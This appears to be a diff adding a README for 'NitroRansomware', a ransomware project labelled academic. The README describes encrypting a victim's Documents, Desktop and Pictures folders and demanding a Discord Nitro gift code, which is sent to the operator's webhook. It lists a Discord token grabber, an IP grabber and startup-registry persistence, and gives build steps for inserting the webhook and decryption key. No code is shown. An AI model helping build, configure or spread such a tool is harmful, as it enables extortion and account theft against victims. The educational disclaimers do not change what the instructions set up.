+ Its purpose is only to share knowledge and awareness about Malware/Cryptography/Operating Systems/Programming.
11
+ NitroRansomware is an academic ransomware made for learning and spreading awareness about how security/cryptography can be used maliciously.
12
+
13
+ ## How it works
14
+ When the .exe file is run, it encrypts the user's Documents, Desktop, and Pictures folder. It then recursively checks for any nested folders in the folders, and encrypts all of its
15
+ contents. In order to decrypt the files, the user has to paste a valid Discord nitro gift subscription and submit it. The program checks if it is valid, and if it is, it is
16
+ sent to your webhook. The user receives the decryption key which allows them to decrypt the encrypted files. If it is not, the decrypion key will not be sent, and the user wil not be able to
17
+ open their files.
18
+
19
+ This program should only be used for educational purposes only. Do not use this on others maliciously.
20
+
21
+ ## Preview
22
+ ###### Webhook Preview
23
+ ![Picture](https://i.ibb.co/107VhDh/Screenshot-420.png)
24
+
25
+ ###### Ransomware
26
+ ![Picture1](https://i.ibb.co/0Dwkf7M/Screenshot-422.png)
27
+ ## Features
28
+ - AES Encryption/ Decryption
29
+ - Adds to startup registry
30
+ - Grabs user's PC username, name, and uuid
31
+ - Discord Nitro Checker
32
+ - Token Grabber
33
+ - IP Grabber
34
+ - Discord Webhook Logs
35
+
36
+ ## Usage
37
+ 1. Make sure you have Visual Studio 2019 with C# installed. (.NET Desktop Development)
38
+ 2. Open ```NitroRansomware.sln```, then open ```Program.cs```.
39
+ 3. Pase your webhook link next to ```WEBHOOK```.
40
+ 4. You can change the decryption key too, if you want. ```DECRYPT_PASSWORD```
41
+ 5. Click on release, then build the solution. Do NOT run it, because it is malware and may encrypt your files.
42
+ 6. You can now test it in a protected environment such as a virtual machine.